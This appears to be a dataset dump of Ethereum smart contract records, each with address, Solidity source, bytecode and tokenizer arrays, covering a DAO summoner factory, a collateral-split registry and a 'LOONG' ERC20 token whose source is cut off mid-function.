[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,551
0x96f9D443Bd71146fF15310a7748d61C8FF72D5C3
pragma solidity ^0.8.0; pragma abicoder v2; // SPDX-License-Identifier: GPL-3.0-or-later // import "hardhat/console.sol"; interface IMinionFactory { function summonMinionAndSafe( address, string memory, uint256, uint256 ) external returns (address); } interface IMolochFactory { function summonMoloch( address, address, address[] memory, uint256, uint256, uint256, uint256, uint256, uint256 ) external returns (address); } interface IMOLOCH { // brief interface for moloch dao v2 function depositToken() external view returns (address); function tokenWhitelist(address token) external view returns (bool); function totalShares() external view returns (uint256); function getProposalFlags(uint256 proposalId) external view returns (bool[6] memory); function getUserTokenBalance(address user, address token) external view returns (uint256); function members(address user) external view returns ( address, uint256, uint256, bool, uint256, uint256 ); function memberAddressByDelegateKey(address user) external view returns (address); function userTokenBalances(address user, address token) external view returns (uint256); function cancelProposal(uint256 proposalId) external; function submitProposal( address applicant, uint256 sharesRequested, uint256 lootRequested, uint256 tributeOffered, address tributeToken, uint256 paymentRequested, address paymentToken, string calldata details ) external returns (uint256); function withdrawBalance(address token, uint256 amount) external; struct Proposal { address applicant; // the applicant who wishes to become a member - this key will be used for withdrawals (doubles as guild kick target for gkick proposals) address proposer; // the account that submitted the proposal (can be non-member) address sponsor; // the member that sponsored the proposal (moving it into the queue) uint256 sharesRequested; // the # of shares the applicant is requesting uint256 lootRequested; // the amount of loot the applicant is requesting uint256 tributeOffered; // amount of tokens offered as tribute address tributeToken; // tribute token contract reference uint256 paymentRequested; // amount of tokens requested as payment address paymentToken; // payment token contract reference uint256 startingPeriod; // the period in which voting can start for this proposal uint256 yesVotes; // the total number of YES votes for this proposal uint256 noVotes; // the total number of NO votes for this proposal bool[6] flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick] string details; // proposal details - could be IPFS hash, plaintext, or JSON uint256 maxTotalSharesAndLootAtYesVote; // the maximum # of total shares encountered at a yes vote on this proposal } function proposals(uint256 proposalId) external view returns ( address, address, address, uint256, uint256, uint256, address, uint256, address, uint256, uint256, uint256 ); function setSharesLoot( address[] calldata, uint256[] calldata, uint256[] calldata, bool mint ) external; function setSingleSharesLoot( address, uint256, uint256, bool ) external; function setShaman(address, bool) external; } interface IMINION { function avatar() external view returns (address); } /// @title SafeMinionSummoner - Factory contract to depoy new DAO Minions and Safes /// @dev Can deploy a minion and a new safe, or just a minion to be attached to an existing safe /// @author Dekan Brown contract DaoSafeMinionSummoner { IMinionFactory public minionSummoner; IMolochFactory public daoSummoner; struct DSM { address summoner; address moloch; address minion; address avatar; bool initialized; } mapping(uint256 => DSM) public daos; uint256 public daoIdx = 0; event SummonComplete( address summoner, address indexed moloch, address minion, address avatar, string details ); event SetupComplete( address indexed moloch, address shaman, address[] extraShamans, address[] summoners, uint256[] summonerShares, uint256[] summonerLoot ); constructor(address _minionSummoner, address _daoSummoner) { minionSummoner = IMinionFactory(_minionSummoner); daoSummoner = IMolochFactory(_daoSummoner); } /// @dev Function to summon minion and configure with a new safe and a dao function summonDaoMinionAndSafe( // address _summoner, uint256 _saltNonce, uint256 _periodDuration, uint256 _votingPeriodLength, uint256 _gracePeriodLength, address[] calldata _approvedTokens, // TODO: should this just be the native wrapper string calldata details ) external returns (address _moloch, address _minion) { // Deploy new minion but do not set it up yet _moloch = daoSummoner.summonMoloch( msg.sender, // summoner TODO: do we still need this address(this), // _shaman, _approvedTokens, _periodDuration, _votingPeriodLength, _gracePeriodLength, 0, // deposit 3, // dillution bound 0 // reward ); _minion = minionSummoner.summonMinionAndSafe( _moloch, details, 0, _saltNonce ); IMINION minionContract = IMINION(_minion); daoIdx = daoIdx + 1; daos[daoIdx] = DSM( msg.sender, _moloch, _minion, minionContract.avatar(), false ); emit SummonComplete( msg.sender, _moloch, _minion, minionContract.avatar(), details ); } function setUpDaoMinionAndSafe( uint256 id, address[] memory _summoners, uint256[] memory _summonerShares, uint256[] memory _summonerLoot, address[] memory _shamans ) public { DSM memory dsm = daos[id]; require(dsm.summoner == msg.sender, "!summoner"); require(!dsm.initialized, "already initialized"); IMOLOCH molochContract = IMOLOCH(dsm.moloch); daos[id].initialized = true; // summoner gets atleast 1 share molochContract.setSingleSharesLoot( dsm.summoner, 1, 0, true ); molochContract.setSharesLoot( _summoners, _summonerShares, _summonerLoot, true ); molochContract.setShaman(dsm.minion, true); for (uint256 i = 0; i < _shamans.length; i++) { molochContract.setShaman(_shamans[i], true); } molochContract.setShaman(address(this), false); emit SetupComplete( dsm.moloch, dsm.minion, _shamans, _summoners, _summonerShares, _summonerLoot ); } }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c806322bd41321461006757806340239ec91461009f578063b1329570146100ca578063ccbbd260146100e1578063cd8258401461016e578063ebc301c514610181575b600080fd5b61007a6100753660046108c5565b610196565b604080516001600160a01b039384168152929091166020830152015b60405180910390f35b6000546100b2906001600160a01b031681565b6040516001600160a01b039091168152602001610096565b6100d360035481565b604051908152602001610096565b6101336100ef36600461098c565b600260208190526000918252604090912080546001820154928201546003909201546001600160a01b0391821693821692821691811690600160a01b900460ff1685565b604080516001600160a01b0396871681529486166020860152928516928401929092529092166060820152901515608082015260a001610096565b6001546100b2906001600160a01b031681565b61019461018f366004610af7565b6104be565b005b600080600160009054906101000a90046001600160a01b03166001600160a01b03166350ffe4cf333089898e8e8e6000600360006040518b63ffffffff1660e01b81526004016101ef9a99989796959493929190610bae565b6020604051808303816000875af115801561020e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102329190610c44565b915060008054906101000a90046001600160a01b03166001600160a01b031663c0fd3eb183868660008f6040518663ffffffff1660e01b815260040161027c959493929190610c91565b6020604051808303816000875af115801561029b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102bf9190610c44565b60035490915081906102d2906001610ce0565b6003819055506040518060a00160405280336001600160a01b03168152602001846001600160a01b03168152602001836001600160a01b03168152602001826001600160a01b0316635aef7de66040518163ffffffff1660e01b8152600401602060405180830381865afa15801561034e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103729190610c44565b6001600160a01b039081168252600060209283018190526003805482526002808552604092839020865181549086166001600160a01b03199182161782558787015160018301805491881691831691909117905587850151928201805493871693909116929092179091556060860151910180546080909601511515600160a01b026001600160a81b031990961691841691909117949094179093558251632d77bef360e11b81529251868216937f6cf34ee703fac570c78e956c7b491756e2a620d69ca49ba6962b8c41a67f0060933393889390881692635aef7de69260048083019391928290030181865afa158015610471573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104959190610c44565b89896040516104a8959493929190610cf8565b60405180910390a2509850989650505050505050565b600085815260026020818152604092839020835160a08101855281546001600160a01b03908116808352600184015482169483019490945293820154841694810194909452600301549182166060840152600160a01b90910460ff161515608083015233146105605760405162461bcd60e51b815260206004820152600960248201526810b9bab6b6b7b732b960b91b60448201526064015b60405180910390fd5b8060800151156105a85760405162461bcd60e51b8152602060048201526013602482015272185b1c9958591e481a5b9a5d1a585b1a5e9959606a1b6044820152606401610557565b602081810151600088815260029092526040808320600301805460ff60a01b1916600160a01b179055835190516338ceeee960e11b81526001600160a01b0391821660048201526001602482018190526044820194909452606481019390935290919082169063719dddd290608401600060405180830381600087803b15801561063157600080fd5b505af1158015610645573d6000803e3d6000fd5b50506040516393cf155b60e01b81526001600160a01b03841692506393cf155b915061067c90899089908990600190600401610dac565b600060405180830381600087803b15801561069657600080fd5b505af11580156106aa573d6000803e3d6000fd5b50505050604082810151905163367f5bc960e11b81526001600160a01b0391821660048201526001602482015290821690636cfeb79290604401600060405180830381600087803b1580156106fe57600080fd5b505af1158015610712573d6000803e3d6000fd5b5050505060005b83518110156107c157816001600160a01b0316636cfeb79285838151811061074357610743610df9565b60209081029190910101516040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260016024820152604401600060405180830381600087803b15801561079657600080fd5b505af11580156107aa573d6000803e3d6000fd5b5050505080806107b990610e0f565b915050610719565b5060405163367f5bc960e11b8152306004820152600060248201526001600160a01b03821690636cfeb79290604401600060405180830381600087803b15801561080a57600080fd5b505af115801561081e573d6000803e3d6000fd5b5050505081602001516001600160a01b03167f93ddb7d8aa8bfa85b466912cd13d844a3606be1f09c77ea214d68de5fec4848283604001518589898960405161086b959493929190610e2a565b60405180910390a250505050505050565b60008083601f84011261088e57600080fd5b50813567ffffffffffffffff8111156108a657600080fd5b6020830191508360208285010111156108be57600080fd5b9250929050565b60008060008060008060008060c0898b0312156108e157600080fd5b88359750602089013596506040890135955060608901359450608089013567ffffffffffffffff8082111561091557600080fd5b818b0191508b601f83011261092957600080fd5b81358181111561093857600080fd5b8c60208260051b850101111561094d57600080fd5b6020830196508095505060a08b013591508082111561096b57600080fd5b506109788b828c0161087c565b999c989b5096995094979396929594505050565b60006020828403121561099e57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156109e4576109e46109a5565b604052919050565b600067ffffffffffffffff821115610a0657610a066109a5565b5060051b60200190565b6001600160a01b0381168114610a2557600080fd5b50565b600082601f830112610a3957600080fd5b81356020610a4e610a49836109ec565b6109bb565b82815260059290921b84018101918181019086841115610a6d57600080fd5b8286015b84811015610a91578035610a8481610a10565b8352918301918301610a71565b509695505050505050565b600082601f830112610aad57600080fd5b81356020610abd610a49836109ec565b82815260059290921b84018101918181019086841115610adc57600080fd5b8286015b84811015610a915780358352918301918301610ae0565b600080600080600060a08688031215610b0f57600080fd5b85359450602086013567ffffffffffffffff80821115610b2e57600080fd5b610b3a89838a01610a28565b95506040880135915080821115610b5057600080fd5b610b5c89838a01610a9c565b94506060880135915080821115610b7257600080fd5b610b7e89838a01610a9c565b93506080880135915080821115610b9457600080fd5b50610ba188828901610a28565b9150509295509295909350565b6001600160a01b038b811682528a81166020808401919091526101206040840181905283018a90526000916101408401918c9190845b8d811015610c0b578335610bf781610a10565b831685529381019392810192600101610be4565b50505050606083019890985250608081019590955260a085019390935260c084019190915260e083015261010090910152949350505050565b600060208284031215610c5657600080fd5b8151610c6181610a10565b9392505050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6001600160a01b0386168152608060208201819052600090610cb69083018688610c68565b604083019490945250606001529392505050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610cf357610cf3610cca565b500190565b6001600160a01b038681168252858116602083015284166040820152608060608201819052600090610d2d9083018486610c68565b979650505050505050565b600081518084526020808501945080840160005b83811015610d715781516001600160a01b031687529582019590820190600101610d4c565b509495945050505050565b600081518084526020808501945080840160005b83811015610d7157815187529582019590820190600101610d90565b608081526000610dbf6080830187610d38565b8281036020840152610dd18187610d7c565b90508281036040840152610de58186610d7c565b915050821515606083015295945050505050565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610e2357610e23610cca565b5060010190565b6001600160a01b038616815260a060208201819052600090610e4e90830187610d38565b8281036040840152610e608187610d38565b90508281036060840152610e748186610d7c565b90508281036080840152610e888185610d7c565b9897505050505050505056fea2646970667358221220356801fce482ed2d18ebc6ae342682ed62924da230558beb4b65e67524950df064736f6c634300080b0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2546, 2683, 2094, 22932, 2509, 2497, 2094, 2581, 14526, 21472, 4246, 16068, 21486, 2692, 2050, 2581, 2581, 18139, 2094, 2575, 2487, 2278, 2620, 4246, 2581, 2475, 2094, 2629, 2278, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 1013, 1013, 12324, 1000, 2524, 12707, 1013, 10122, 1012, 14017, 1000, 1025, 8278, 10047, 5498, 2239, 21450, 1063, 3853, 18654, 25300, 7856, 18376, 10354, 2063, 1006, 4769, 1010, 5164, 3638, 1010, 21318, 3372, 17788, 2575, 1010, 21318, 3372, 17788, 2575, 1007, 6327, 5651, 1006, 4769, 1007, 1025, 1065, 8278, 10047, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,552
0x96fa0eA1f8fdA83C079F82b393F6eA71BF85b165
// File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/registries/IAddressRegistry.sol pragma solidity >=0.4.21 <0.7.0; interface IAddressRegistry { function get(bytes32 _key) external view returns(address); function set(bytes32 _key, address _value) external; } // File: contracts/registries/AddressRegistryParent.sol pragma solidity >=0.4.21 <0.7.0; contract AddressRegistryParent is Ownable, IAddressRegistry{ bytes32[] internal _keys; mapping(bytes32 => address) internal _registry; event AddressAdded(bytes32 _key, address _value); function set(bytes32 _key, address _value) external override onlyOwner() { _check(_key, _value); emit AddressAdded(_key, _value); _keys.push(_key); _registry[_key] = _value; } function get(bytes32 _key) external override view returns(address) { return _registry[_key]; } function _check(bytes32 _key, address _value) internal virtual { require(_value != address(0), "Nullable address"); require(_registry[_key] == address(0), "Existed key"); } } // File: contracts/collateralSplits/ICollateralSplit.sol pragma solidity >=0.4.21 <0.7.0; /// @title Collateral Split interface /// @notice Contains mathematical functions used to calculate relative claim /// on collateral of primary and complement assets after settlement. /// @dev Created independently from specification and published to the CollateralSplitRegistry interface ICollateralSplit { /// @notice Proof of collateral split contract /// @dev Verifies that contract is a collateral split contract /// @return true if contract is a collateral split contract function isCollateralSplit() external pure returns(bool); /// @notice Symbol of the collateral split /// @dev Should be resolved through CollateralSplitRegistry contract /// @return collateral split specification symbol function symbol() external view returns (string memory); /// @notice Calcs primary asset class' share of collateral at settlement. /// @dev Returns ranged value between 0 and 1 multiplied by 10 ^ 12 /// @param _underlyingStartRoundHints specify for each oracle round of the start of Live period /// @param _underlyingEndRoundHints specify for each oracle round of the end of Live period /// @return _split primary asset class' share of collateral at settlement /// @return _underlyingStarts underlying values in the start of Live period /// @return _underlyingEnds underlying values in the end of Live period function split( address[] memory _oracles, address[] memory _oracleIterators, uint _liveTime, uint _settleTime, uint[] memory _underlyingStartRoundHints, uint[] memory _underlyingEndRoundHints) external view returns(uint _split, int[] memory _underlyingStarts, int[] memory _underlyingEnds); } // File: contracts/registries/CollateralSplitRegistry.sol // "SPDX-License-Identifier: GNU General Public License v3.0" pragma solidity >=0.4.21 <0.7.0; contract CollateralSplitRegistry is AddressRegistryParent { function _check(bytes32 _key, address _value) internal virtual override{ super._check(_key, _value); require(_key == keccak256(abi.encodePacked(ICollateralSplit(_value).symbol())), "Incorrect hash"); require(ICollateralSplit(_value).isCollateralSplit(), "Should be collateral split"); } }
0x608060405234801561001057600080fd5b50600436106100675760003560e01c80638eaa6ac0116100505780638eaa6ac0146100a7578063ba44593c146100c4578063f2fde38b146100fd57610067565b8063715018a61461006c5780638da5cb5b14610076575b600080fd5b610074610130565b005b61007e610230565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61007e600480360360208110156100bd57600080fd5b503561024c565b610074600480360360408110156100da57600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff16610274565b6100746004803603602081101561011357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166103e1565b61013861056b565b60005473ffffffffffffffffffffffffffffffffffffffff9081169116146101c157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60009081526002602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b61027c61056b565b60005473ffffffffffffffffffffffffffffffffffffffff90811691161461030557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61030f828261056f565b6040805183815273ffffffffffffffffffffffffffffffffffffffff8316602082015281517f3eb532562a19423f49e2e3b30790b23d00c625f3ee37c7359d03688bf7111f6c929181900390910190a1600180548082019091557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60182905560009182526002602052604090912080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff909216919091179055565b6103e961056b565b60005473ffffffffffffffffffffffffffffffffffffffff90811691161461047257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166104de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806109b76026913960400191505060405180910390fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b3390565b61057982826108a3565b8073ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b1580156105bf57600080fd5b505afa1580156105d3573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052602081101561061a57600080fd5b810190808051604051939291908464010000000082111561063a57600080fd5b90830190602082018581111561064f57600080fd5b825164010000000081118282018810171561066957600080fd5b82525081516020918201929091019080838360005b8381101561069657818101518382015260200161067e565b50505050905090810190601f1680156106c35780820380516001836020036101000a031916815260200191505b506040525050506040516020018082805190602001908083835b6020831061071a57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016106dd565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040528051906020012082146107c257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f496e636f72726563742068617368000000000000000000000000000000000000604482015290519081900360640190fd5b8073ffffffffffffffffffffffffffffffffffffffff1663b7580bc36040518163ffffffff1660e01b815260040160206040518083038186803b15801561080857600080fd5b505afa15801561081c573d6000803e3d6000fd5b505050506040513d602081101561083257600080fd5b505161089f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f53686f756c6420626520636f6c6c61746572616c2073706c6974000000000000604482015290519081900360640190fd5b5050565b73ffffffffffffffffffffffffffffffffffffffff811661092557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4e756c6c61626c65206164647265737300000000000000000000000000000000604482015290519081900360640190fd5b60008281526002602052604090205473ffffffffffffffffffffffffffffffffffffffff161561089f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f45786973746564206b6579000000000000000000000000000000000000000000604482015290519081900360640190fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220498201632a2619175fa80d415329f0a0961fe63e988344f11757876a7f45b2bc64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 7011, 2692, 5243, 2487, 2546, 2620, 2546, 2850, 2620, 2509, 2278, 2692, 2581, 2683, 2546, 2620, 2475, 2497, 23499, 2509, 2546, 2575, 5243, 2581, 2487, 29292, 27531, 2497, 16048, 2629, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 28177, 2078, 1013, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,553
0x96fa6258f9c642d94c3c19cd2978233e3d92a2d1
//Telegram: https://t.me/loongeth //Twitter: https://twitter.com/loongeth //WebSite: https://loong.finance/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LOONG is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "LOONG DRAGON"; string private constant _symbol = "LOONG"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _feeAddrWallet1 = payable(0xA2FA7B0F7d6E6521c26D204FB41Ff3fE295663d4); _feeAddrWallet2 = payable(0x448a9B3a495a89BCb9a39A27f1518b6E9C127b3B); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 5; _feeAddr2 = 9; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { 